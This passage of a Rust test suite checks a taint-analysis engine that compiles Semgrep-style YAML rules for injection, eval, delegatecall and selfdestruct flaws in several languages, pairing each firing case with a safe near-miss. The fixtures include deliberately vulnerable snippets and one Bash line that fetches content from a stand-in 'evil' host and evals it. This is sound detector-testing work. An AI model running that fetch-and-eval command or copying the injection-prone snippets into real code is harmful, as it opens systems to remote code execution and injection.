        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for requests.get -> return, got {:?}",
            findings
        );
    }

    /// Python near-miss: returning a clean literal must NOT fire.
    #[test]
    fn python_bridge_return_value_clean_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-return-value-sink-safe
mode: taint
languages: [python]
severity: ERROR
message: "External response returned unsanitized"
pattern-sources:
  - pattern: requests.get(...)
pattern-sinks:
  - patterns:
      - pattern: return $SINK
      - focus-metavariable: $SINK
"#,
        );

        let src = r#"
def fetch():
    data = requests.get("http://api")
    return "ok"
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "returning a clean literal must not fire, got {:?}",
            findings
        );
    }

    /// The `return $X` shape compiles to `ReturnValue`, but a non-bare return
    /// (`return foo(bar)`) is NOT this shape and must reject.
    #[test]
    fn return_value_shape_rejects_non_bare_return() {
        assert!(parse_return_metavar("return $X").is_some());
        assert!(parse_return_metavar("return $SINK").is_some());
        assert!(parse_return_metavar("return foo($X)").is_none());
        assert!(parse_return_metavar("return \"...\".format(...)").is_none());
        assert!(parse_return_metavar("return").is_none());
        assert!(parse_return_metavar("returnx").is_none());
        assert!(parse_return_metavar("$X").is_none());
    }

    // ── Bridge-level tests: Bash (`curl-eval` / hooks command-injection) ─────
    //
    // These exercise the FULL CLI path: parse_taint_rule → Compiled → check on
    // a real Bash fixture. They MUST NOT call analyze_tree directly.

    /// Real rule `curl-eval`: `$(curl ...)` source → `eval ...` sink.
    #[test]
    fn bash_bridge_curl_eval_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: curl-eval
mode: taint
languages: [bash]
severity: WARNING
message: "Data is being eval'd from a curl command."
pattern-sources:
  - pattern: |
      $(curl ...)
  - pattern: |
      `curl ...`
pattern-sinks:
  - pattern: eval ...
"#,
        );
        assert_eq!(rule.lang, Language::Bash);

        let src = "out=$(curl http://evil)\neval \"$out\"\n";
        let tree = parse_file(src, Language::Bash).expect("bash fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "curl-eval must fire via the compiled bridge, got {:?}",
            findings
        );
    }

    /// Safe near-miss for `curl-eval`: eval of a literal, no curl source.
    #[test]
    fn bash_bridge_curl_eval_safe_no_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: curl-eval
mode: taint
languages: [bash]
severity: WARNING
message: "Data is being eval'd from a curl command."
pattern-sources:
  - pattern: |
      $(curl ...)
pattern-sinks:
  - pattern: eval ...
"#,
        );

        let src = "out=\"ls -la\"\neval \"$out\"\n";
        let tree = parse_file(src, Language::Bash).expect("bash fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "eval of a clean literal must not fire, got {:?}",
            findings
        );
    }

    /// Real rule `hooks-unquoted-variable-bash-taint`: `$(cat | jq ...)` source
    /// → `bash -c ...` / `eval ...` sinks.
    #[test]
    fn bash_bridge_hooks_jq_to_bash_c_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: hooks-unquoted-variable-bash-taint
mode: taint
languages: [bash]
severity: ERROR
message: "Untrusted stdin flows into a command execution sink."
pattern-sources:
  - pattern: $(cat | jq ...)
  - pattern: $(cat)
pattern-sinks:
  - pattern: eval $...SINK
  - pattern: bash -c $...SINK
  - pattern: sh -c $...SINK
"#,
        );

        let src = "data=$(cat | jq -r '.path')\nbash -c \"$data\"\n";
        let tree = parse_file(src, Language::Bash).expect("bash fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "hooks jq -> bash -c must fire via bridge, got {:?}",
            findings
        );
    }

    // ── Bridge-level tests: Solidity (delegatecall / selfdestruct) ───────────

    /// Real rule `delegatecall-to-arbitrary-address`: param `address` source →
    /// `$CONTRACT.delegatecall(...)` sink.
    #[test]
    fn solidity_bridge_delegatecall_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: delegatecall-to-arbitrary-address
mode: taint
languages: [solidity]
severity: ERROR
message: "An attacker may perform delegatecall() to an arbitrary address."
pattern-sources:
  - patterns:
    - pattern-either:
      - pattern: function $ANY(..., address $CONTRACT, ...) public {...}
      - pattern: function $ANY(..., address $CONTRACT, ...) external {...}
    - focus-metavariable: $CONTRACT
pattern-sinks:
  - patterns:
    - pattern-either:
      - pattern: $CONTRACT.delegatecall(...);
      - pattern: $CONTRACT.delegatecall{gas:$GAS}(...);
"#,
        );
        assert_eq!(rule.lang, Language::Solidity);

        let src = r#"
contract C {
  function run(address target, bytes data) public {
    target.delegatecall(data);
  }
}
"#;
        let tree = parse_file(src, Language::Solidity).expect("solidity fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "delegatecall to a param address must fire via bridge, got {:?}",
            findings
        );
    }

    /// Safe near-miss: delegatecall to a hard-coded `address(this)`.
    #[test]
    fn solidity_bridge_delegatecall_to_self_safe() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: delegatecall-to-arbitrary-address
mode: taint
languages: [solidity]
severity: ERROR
message: "An attacker may perform delegatecall() to an arbitrary address."
pattern-sources:
  - patterns:
    - pattern-either:
      - pattern: function $ANY(..., address $CONTRACT, ...) public {...}
pattern-sinks:
  - patterns:
    - pattern-either:
      - pattern: $CONTRACT.delegatecall(...);
"#,
        );

        let src = r#"
contract C {
  function run(bytes data) public {
    address(this).delegatecall(data);
  }
}
"#;
        let tree = parse_file(src, Language::Solidity).expect("solidity fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "delegatecall to address(this) must not fire, got {:?}",
            findings
        );
    }

    /// Real rule `accessible-selfdestruct`: param `address` source →
    /// `selfdestruct(...)` sink.
    #[test]
    fn solidity_bridge_selfdestruct_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: accessible-selfdestruct
mode: taint
languages: [solidity]
severity: ERROR
message: "Contract can be destructed by anyone."
pattern-sources:
  - patterns:
    - focus-metavariable:
        - $ADDR
    - pattern-either:
        - pattern: function $FUNC(..., address $ADDR, ...) external { ... }
        - pattern: function $FUNC(..., address $ADDR, ...) public { ... }
pattern-sinks:
  - pattern-either:
    - pattern: selfdestruct(...);
    - pattern: suicide(...);
"#,
        );

        let src = r#"
contract C {
  function kill(address payable target) public {
    selfdestruct(target);
  }
}
"#;
        let tree = parse_file(src, Language::Solidity).expect("solidity fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "selfdestruct of a param must fire via bridge, got {:?}",
            findings
        );
    }

    // ── Bridge-level tests: Scala (tainted SQL / scalajs eval) ───────────────

    /// Real rule `tainted-sql-string`: request param source → `"$SQL" + ...`
    /// string-building sink.
    #[test]
    fn scala_bridge_tainted_sql_string_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: tainted-sql-string
mode: taint
languages: [scala]
severity: ERROR
message: "User data flows into a manually-constructed SQL string."
pattern-sources:
  - patterns:
    - pattern: $PARAM
    - pattern-either:
      - pattern-inside: |
          def $CTRL(..., $PARAM: $TYPE, ...) = {
            ...
          }
pattern-sinks:
  - patterns:
    - pattern-either:
      - pattern: |
          "$SQLSTR" + ...
    - metavariable-regex:
        metavariable: $SQLSTR
        regex: (?i)(select|delete|insert|create|update|alter|drop)\b
"#,
        );
        assert_eq!(rule.lang, Language::Scala);

        let src = r#"
object Ctrl {
  def index(name: String) = {
    val q = "SELECT * FROM t WHERE n = " + name
    db.run(q)
  }
}
"#;
        let tree = parse_file(src, Language::Scala).expect("scala fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "tainted SQL concat must fire via bridge, got {:?}",
            findings
        );
    }

    /// Safe near-miss: SQL string built only from literals.
    #[test]
    fn scala_bridge_tainted_sql_string_literal_safe() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: tainted-sql-string
mode: taint
languages: [scala]
severity: ERROR
message: "User data flows into a manually-constructed SQL string."
pattern-sources:
  - patterns:
    - pattern: $PARAM
    - pattern-either:
      - pattern-inside: |
          def $CTRL(..., $PARAM: $TYPE, ...) = {
            ...
          }
pattern-sinks:
  - patterns:
    - pattern-either:
      - pattern: |
          "$SQLSTR" + ...
"#,
        );

        let src = r#"
object Ctrl {
  def index(name: String) = {
    val q = "SELECT * FROM t WHERE n = " + "admin"
    db.run(q)
  }
}
"#;
        let tree = parse_file(src, Language::Scala).expect("scala fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "literal-only SQL concat must not fire, got {:?}",
            findings
        );
    }

    /// Real rule `scalajs-eval`: request param source → `$JS.eval(...)` sink.
    #[test]
    fn scala_bridge_scalajs_eval_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: scalajs-eval
mode: taint
languages: [scala]
severity: WARNING
message: "eval() of user-controlled data."
pattern-sources:
  - patterns:
    - pattern: $PARAM
    - pattern-either:
      - pattern-inside: |
          def $CTRL(..., $PARAM: $TYPE, ...) = {
            ...
          }
pattern-sinks:
  - patterns:
    - pattern: $JS.eval(...)
"#,
        );

        let src = r#"
object Ctrl {
  def index(code: String) = {
    js.eval(code)
  }
}
"#;
        let tree = parse_file(src, Language::Scala).expect("scala fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "scalajs eval of param must fire via bridge, got {:?}",
            findings
        );
    }

    // ── Bridge-level tests: Apex (SOQL injection) ────────────────────────────

    /// Real rule `soql-injection-unescaped-param`: any-parameter source →
    /// `Database.query(<... $P ...>)` sink, sanitized by
    /// `String.escapeSingleQuotes`.
    #[test]
    fn apex_bridge_soql_injection_unescaped_param_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: soql-injection-unescaped-param
mode: taint
severity: ERROR
languages:
  - apex
message: "SOQL injection from an unescaped parameter."
pattern-sources:
  - by-side-effect: true
    patterns:
      - pattern: $M(...,String $P,...) { ... }
      - focus-metavariable: $P
pattern-sanitizers:
  - pattern-either:
    - pattern: String.escapeSingleQuotes($P)
    - pattern: Database.query(<... String.escapeSingleQuotes($P) ...>)
pattern-sinks:
  - pattern: Database.query(<... $P ...>)
"#,
        );
        assert_eq!(rule.lang, Language::Apex);

        let src = r#"
public class C {
    public List<Account> find(String p) {
        return Database.query(p);
    }
}
"#;
        let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "tainted Database.query must fire via bridge, got {:?}",
            findings
        );
    }

    /// Safe near-miss: the parameter is escaped via `String.escapeSingleQuotes`
    /// before reaching `Database.query`.
    #[test]
    fn apex_bridge_soql_injection_sanitized_safe() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: soql-injection-unescaped-param
mode: taint
severity: ERROR
languages:
  - apex
message: "SOQL injection from an unescaped parameter."
pattern-sources:
  - by-side-effect: true
    patterns:
      - pattern: $M(...,String $P,...) { ... }
      - focus-metavariable: $P
pattern-sanitizers:
  - pattern-either:
    - pattern: String.escapeSingleQuotes($P)
    - pattern: Database.query(<... String.escapeSingleQuotes($P) ...>)
pattern-sinks:
  - pattern: Database.query(<... $P ...>)
"#,
        );

        let src = r#"
public class C {
    public List<Account> find(String p) {
        String safe = String.escapeSingleQuotes(p);
        return Database.query(safe);
    }
}
"#;
        let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "escaped parameter must not fire, got {:?}",
            findings
        );
    }

    /// Real rule `soql-injection-unescaped-url-param`: chained request-param
    /// read source → `Database.query($SINK,...)` focus-argument sink.
    #[test]
    fn apex_bridge_soql_injection_url_param_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: soql-injection-unescaped-url-param
mode: taint
severity: ERROR
languages:
  - apex
message: "SOQL injection from an unescaped URL parameter."
pattern-sources:
  - by-side-effect: true
    pattern: ApexPage.getCurrentPage().getParameters.get($URLPARAM);
pattern-sanitizers:
  - pattern: String.escapeSingleQuotes(...)
pattern-sinks:
  - patterns:
    - pattern: Database.query($SINK,...);
    - focus-metavariable: $SINK
"#,
        );
        assert_eq!(rule.lang, Language::Apex);

        let src = r#"
public class C {
    public List<Account> find() {
        String url = ApexPage.getCurrentPage().getParameters().get('q');
        return Database.query(url);
    }
}
"#;
        let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "tainted URL-param Database.query must fire via bridge, got {:?}",
            findings
        );
    }

    /// Safe near-miss: a literal query, no request-parameter flow.
    #[test]
    fn apex_bridge_soql_injection_url_param_literal_safe() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: soql-injection-unescaped-url-param
mode: taint
severity: ERROR
languages:
  - apex
message: "SOQL injection from an unescaped URL parameter."
pattern-sources:
  - by-side-effect: true
    pattern: ApexPage.getCurrentPage().getParameters.get($URLPARAM);
pattern-sanitizers:
  - pattern: String.escapeSingleQuotes(...)
pattern-sinks:
  - patterns:
    - pattern: Database.query($SINK,...);
    - focus-metavariable: $SINK
"#,
        );

        let src = r#"
public class C {
    public List<Account> find() {
        return Database.query('SELECT Id FROM Account');
    }
}
"#;
        let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "literal query must not fire, got {:?}",
            findings
        );
    }

    // ── Bridge-level tests: Swift (sqlite injection) ─────────────────────────

    /// Real rule `swift-potential-sqlite-injection`: an interpolated/concatenated
    /// SQL string source → `sqlite3_exec`/`sqlite3_prepare_v2` focus-argument
    /// sink.
    #[test]
    fn swift_bridge_sqlite_injection_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: swift-potential-sqlite-injection
mode: taint
severity: WARNING
languages:
  - swift
message: "Potential client-side SQL injection."
pattern-sources:
  - pattern-either:
    - pattern: |
        "...\($X)..."
    - pattern: |
        $SQL = "..." + $X
    - pattern: |
        $SQL = $X + "..."
pattern-sinks:
  - patterns:
    - pattern-either:
      - pattern: sqlite3_exec($DB, $SQL, ...)
      - pattern: sqlite3_prepare_v2($DB, $SQL, ...)
    - focus-metavariable:
      - $SQL
"#,
        );
        assert_eq!(rule.lang, Language::Swift);

        let src = r#"
func handler(input: String) {
    let q = "SELECT * FROM t WHERE n = \(input)"
    sqlite3_exec(db, q, nil, nil, nil)
}
"#;
        let tree = parse_file(src, Language::Swift).expect("swift fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "interpolated SQL into sqlite3_exec must fire via bridge, got {:?}",
            findings
        );
    }

    /// Safe near-miss: a fully-literal SQL string reaches `sqlite3_exec` — no
    /// dynamic interpolation/concatenation, so no finding.
    #[test]
    fn swift_bridge_sqlite_injection_literal_safe() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: swift-potential-sqlite-injection
mode: taint
severity: WARNING
languages:
  - swift
message: "Potential client-side SQL injection."
pattern-sources:
  - pattern-either:
    - pattern: |
        "...\($X)..."
    - pattern: |
        $SQL = "..." + $X
    - pattern: |
        $SQL = $X + "..."
pattern-sinks:
  - patterns:
    - pattern-either:
      - pattern: sqlite3_exec($DB, $SQL, ...)
      - pattern: sqlite3_prepare_v2($DB, $SQL, ...)
    - focus-metavariable:
      - $SQL
"#,
        );

        let src = r#"
func handler() {
    let q = "SELECT * FROM t"
    sqlite3_exec(db, q, nil, nil, nil)
}
"#;
        let tree = parse_file(src, Language::Swift).expect("swift fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "literal SQL must not fire, got {:?}",
            findings
        );
    }

    // ── Parameter-as-source shape: focus-metavariable + function-signature
    //    pattern-inside inside a taint pattern-sources block ────────────────

    /// JS `lang/detect-child-process` shape: a `patterns:` source block with a
    /// `pattern-inside: function ...(...,$FUNC,...)` context plus
    /// `focus-metavariable: $FUNC`. Compiles to the any-parameter wildcard
    /// source. A function parameter flowing to `exec(...)` must fire.
    #[test]
    fn js_param_source_focus_inside_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: js-child-process-param
mode: taint
languages: [javascript]
severity: ERROR
message: "Function argument reaches child_process.exec"
pattern-sources:
  - patterns:
      - pattern-inside: |
          function ... (...,$FUNC,...) {
            ...
          }
      - focus-metavariable: $FUNC
pattern-sinks:
  - pattern: exec($CMD,...)
"#,
        );
        // The source block must compile to the any-parameter wildcard.
        assert!(
            matches!(
                rule.spec.sources.as_slice(),
                [GenericMatcher::ParamName { names, .. }]
                    if names == &[crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()]
            ),
            "expected wildcard ParamName source, got {:?}",
            rule.spec.sources
        );

        let src = r#"
function run(name, cmd) {
  exec(cmd);
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "a function parameter reaching exec() must fire, got {:?}",
            findings
        );
    }

    /// JS near-miss: the value reaching `exec(...)` is NOT a function parameter
    /// (it is a module-level constant), so the wildcard-param source must not
    /// taint it and the rule must not fire.
    #[test]
    fn js_param_source_non_param_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: js-child-process-param-safe
mode: taint
languages: [javascript]
severity: ERROR
message: "Function argument reaches child_process.exec"
pattern-sources:
  - patterns:
      - pattern-inside: |
          function ... (...,$FUNC,...) {
            ...
          }
      - focus-metavariable: $FUNC
pattern-sinks:
  - pattern: exec($CMD,...)
"#,
        );

        // A literal local, not a parameter, reaching exec(). No parameter flows
        // anywhere, so the any-parameter seed taints nothing relevant.
        let src = r#"
function run() {
  const cmd = "ls -la";
  exec(cmd);
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "a non-parameter constant must not fire, got {:?}",
            findings
        );
    }

    /// Python AWS-Lambda shape: `pattern: $EVENT` plus a `pattern-either:` of
    /// `pattern-inside:` handler signatures binding `$EVENT` as a parameter.
    /// A handler parameter flowing to `subprocess.call(...)` must fire.
    #[test]
    fn python_param_source_bare_pattern_inside_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-lambda-param
mode: taint
languages: [python]
severity: ERROR
message: "Lambda event reaches subprocess"
pattern-sources:
  - patterns:
      - pattern: $EVENT
      - pattern-inside: |
          def $HANDLER($EVENT, $CONTEXT):
            ...
pattern-sinks:
  - pattern: subprocess.call($X)
"#,
        );
        assert!(
            matches!(
                rule.spec.sources.as_slice(),
                [GenericMatcher::ParamName { names, .. }]
                    if names == &[crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()]
            ),
            "expected wildcard ParamName source, got {:?}",
            rule.spec.sources
        );

        let src = r#"
def handler(event, context):
    cmd = event
    subprocess.call(cmd)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "handler param reaching subprocess.call must fire, got {:?}",
            findings
        );
    }

    /// Python near-miss: same rule, but the value reaching the sink is a
    /// hardcoded constant unrelated to any parameter — must not fire.
    #[test]
    fn python_param_source_constant_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-lambda-param-safe
mode: taint
languages: [python]
severity: ERROR
message: "Lambda event reaches subprocess"
pattern-sources:
  - patterns:
      - pattern: $EVENT
      - pattern-inside: |
          def $HANDLER($EVENT, $CONTEXT):
            ...
pattern-sinks:
  - pattern: subprocess.call($X)
"#,
        );

        let src = r#"
def handler(event, context):
    cmd = "echo hello"
    subprocess.call(cmd)
"#;
        let tree = parse_file(src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "a hardcoded constant must not fire, got {:?}",
            findings
        );
    }

    /// A source `patterns:` block that names a focus metavariable which is NOT
    /// a parameter of any function-signature context must NOT compile to the
    /// any-parameter wildcard (guards against over-broad seeding).
    #[test]
    fn non_param_focus_block_is_not_treated_as_param_source() {
        let v: YamlValue = serde_yaml_ng::from_str(
            r#"
id: not-a-param-source
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - patterns:
      - pattern: get_input($X)
      - focus-metavariable: $X
pattern-sinks:
  - pattern: eval($Y)
"#,
        )
        .unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => {
                // The `get_input($X)` pattern is a Call source (expressible), so
                // the block compiles via graceful degradation — NOT to the
                // any-parameter wildcard.
                assert!(
                    !r.spec.sources.iter().any(|m| matches!(
                        m,
                        GenericMatcher::ParamName { names, .. }
                            if names.contains(&crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string())
                    )),
                    "a focus on a call metavar must not become an any-parameter source: {:?}",
                    r.spec.sources
                );
            }
            other => panic!(
                "expected compiled rule, got skip/nottaint: {:?}",
                matches!(other, TaintRuleParse::Skip(_))
            ),
        }
    }

    /// Java AWS-Lambda shape: `focus-metavariable: $EVENT` + a typed
    /// handler-signature `pattern`. A handler parameter flowing to a SQL string
    /// concat sink must fire; the wildcard seeds the typed parameter.
    #[test]
    fn java_param_source_focus_typed_signature_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: java-lambda-param
mode: taint
languages: [java]
severity: ERROR
message: "Handler param reaches SQL string"
pattern-sources:
  - patterns:
      - focus-metavariable: $EVENT
      - pattern: |
          $RT $HANDLER($TYPE $EVENT, Context $CTX) {
            ...
          }
pattern-sinks:
  - pattern: stmt.executeQuery($Q)
"#,
        );
        assert!(
            matches!(
                rule.spec.sources.as_slice(),
                [GenericMatcher::ParamName { names, .. }]
                    if names == &[crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()]
            ),
            "expected wildcard ParamName source, got {:?}",
            rule.spec.sources
        );

        let src = r#"
class H {
  String handle(String event, Context ctx) {
    String q = event;
    return stmt.executeQuery(q);
  }
}
"#;
        let tree = parse_file(src, Language::Java).expect("java fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "handler param reaching executeQuery must fire, got {:?}",
            findings
        );
    }

    /// Java near-miss: a hardcoded literal (not a parameter) reaching the sink
    /// must not fire even though the wildcard seeds parameters.
    #[test]
    fn java_param_source_literal_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: java-lambda-param-safe
mode: taint
languages: [java]
severity: ERROR
message: "Handler param reaches SQL string"
pattern-sources:
  - patterns:
      - focus-metavariable: $EVENT
      - pattern: |
          $RT $HANDLER($TYPE $EVENT, Context $CTX) {
            ...
          }
pattern-sinks:
  - pattern: stmt.executeQuery($Q)
"#,
        );

        let src = r#"
class H {
  String handle(String event, Context ctx) {
    String q = "SELECT 1";
    return stmt.executeQuery(q);
  }
}
"#;
        let tree = parse_file(src, Language::Java).expect("java fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "a hardcoded SQL literal must not fire, got {:?}",
            findings
        );
    }

    // ── Focus-on-call-argument SINK shape: focus-metavariable / bare-pattern
    //    focus + a call-context pattern-inside/pattern in a pattern-sinks block.
    //    Each test compiles through the SAME `parse_taint_rule` path the CLI
    //    uses, asserts the compiled SINK is a concrete `Call`/`MethodName`
    //    matcher (never an over-broad bare-node sink), then proves a tainted
    //    value reaching that call FIRES and a clean near-miss does NOT.

    /// PHP `assert-use` shape: `pattern: assert($SINK, ...)` + `pattern: $SINK`
    /// (the focus). Compiles to a concrete `Call { assert }` sink. A tainted
    /// `$_GET` value reaching `assert(...)` must fire.
    #[test]
    fn php_focus_call_sink_concrete_callee_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: php-assert-use
mode: taint
languages: [php]
severity: ERROR
message: "Tainted value reaches assert()"
pattern-sources:
  - pattern: $_GET
pattern-sinks:
  - patterns:
      - pattern: assert($SINK, ...)
      - pattern: $SINK
"#,
        );
        // The sink must be the concrete `assert` Call, not a dropped/empty sink.
        assert!(
            matches!(
                rule.spec.sinks.as_slice(),
                [GenericMatcher::Call { canonical, .. }] if canonical == "assert"
            ),
            "expected a concrete `assert` Call sink, got {:?}",
            rule.spec.sinks
        );

        let src = r#"<?php
function run() {
  $x = $_GET['code'];
  assert($x);
}
"#;
        let tree = parse_file(src, Language::Php).expect("php fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "a tainted $_GET value reaching assert() must fire, got {:?}",
            findings
        );
    }

    /// PHP near-miss: the SAME `assert` sink, but the argument is a hardcoded
    /// literal (not tainted) — the call-argument taint gate means it must NOT
    /// fire. Proves the sink is not an over-broad "any assert call" matcher.
    #[test]
    fn php_focus_call_sink_untainted_arg_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: php-assert-use-safe
mode: taint
languages: [php]
severity: ERROR
message: "Tainted value reaches assert()"
pattern-sources:
  - pattern: $_GET
pattern-sinks:
  - patterns:
      - pattern: assert($SINK, ...)
      - pattern: $SINK
"#,
        );

        let src = r#"<?php
function run() {
  $x = "1 === 1";
  assert($x);
}
"#;
        let tree = parse_file(src, Language::Php).expect("php fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "an untainted literal in assert() must not fire, got {:?}",
            findings
        );
    }

    /// JS `node-mysql-sqli` shape: `focus-metavariable: $QUERY` + a
    /// `pattern-either:` of `pattern-inside: $POOL.query($QUERY, ...)` /
    /// `$POOL.execute($QUERY, ...)` call contexts. Compiles to `MethodName`
    /// sinks for `query`/`execute`. A tainted `req.body` reaching `.query(...)`
    /// must fire.
    #[test]
    fn js_focus_call_sink_method_name_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: js-mysql-sqli
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted value reaches a SQL query method"
pattern-sources:
  - pattern: $REQ.body
pattern-sinks:
  - patterns:
      - focus-metavariable: $QUERY
      - pattern-either:
          - pattern-inside: $POOL.query($QUERY, ...)
          - pattern-inside: $POOL.execute($QUERY, ...)
"#,
        );
        // The sink must compile to concrete `query`/`execute` MethodName sinks.
        let mut methods: Vec<&str> = rule
            .spec
            .sinks
            .iter()
            .filter_map(|m| match m {
                GenericMatcher::MethodName { method, .. } => Some(method.as_str()),
                _ => None,
            })
            .collect();
        methods.sort_unstable();
        assert_eq!(
            methods,
            ["execute", "query"],
            "expected query/execute MethodName sinks, got {:?}",
            rule.spec.sinks
        );

        let src = r#"
function run(req, pool) {
  const q = req.body;
  pool.query(q);
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "a tainted req.body reaching pool.query() must fire, got {:?}",
            findings
        );
    }

    /// JS near-miss: the focused method-name sink (`query`/`execute`) but the
    /// call is `pool.format(q)` — a DIFFERENT method outside the pinned set —
    /// so the MethodName sinks must NOT fire. Proves the regex pin bounds the
    /// matcher to the listed methods.
    #[test]
    fn js_focus_call_sink_other_method_does_not_fire() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: js-mysql-sqli-safe
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted value reaches a SQL query method"
pattern-sources:
  - pattern: $REQ.body
pattern-sinks:
  - patterns:
      - focus-metavariable: $QUERY
      - pattern-either:
          - pattern-inside: $POOL.query($QUERY, ...)
          - pattern-inside: $POOL.execute($QUERY, ...)
"#,
        );

        let src = r#"
function run(req, pool) {
  const q = req.body;
  pool.format(q);
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "a tainted value reaching an unlisted method (.format) must not fire, got {:?}",
            findings
        );
    }

    /// A bounded-recognition guard: a `pattern-sinks` block whose call context
    /// has a free metavariable callee with NO pinning `metavariable-regex`
    /// (`$F($SINK, ...)`) must NOT compile to a sink (we never invent a callee
    /// name), so the rule is rejected rather than producing an any-call sink.
    #[test]
    fn unpinned_metavar_callee_sink_is_not_compiled() {
        let v: YamlValue = serde_yaml_ng::from_str(
            r#"
id: js-unpinned-callee
mode: taint
languages: [javascript]
severity: ERROR
message: "x"
pattern-sources:
  - pattern: $REQ.body
pattern-sinks:
  - patterns:
      - focus-metavariable: $SINK
      - pattern: $F($SINK, ...)
"#,
        )
        .unwrap();
        // No concrete callee/method can be derived, so the sink role empties and
        // the whole rule is skipped — never an over-broad any-call sink.
        assert!(
            matches!(parse_taint_rule(&v), TaintRuleParse::Skip(_)),
            "an unpinned metavariable callee must not compile to a sink"
        );
    }

    // ── Regex-bounded bare-metavariable callee SINK shape ───────────────────

    /// `$FUNCTION(...)` + `metavariable-regex` on `$FUNCTION` → `CallRegex`.
    /// A call whose callee matches the regex with a tainted argument FIRES;
    /// a call whose callee does NOT match the regex does NOT fire (proving the
    /// regex is enforced at match time, not dropped). Mirrors
    /// `md5-used-as-password` (`regex: (?i)(.*password.*)`).
    #[test]
    fn callregex_sink_fires_on_matching_callee_and_not_on_near_miss() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-password-sink
mode: taint
languages: [python]
severity: ERROR
message: "Tainted input reaches a *password* function"
pattern-sources:
  - pattern: input(...)
pattern-sinks:
  - patterns:
      - pattern: $FUNCTION(...)
      - metavariable-regex:
          metavariable: $FUNCTION
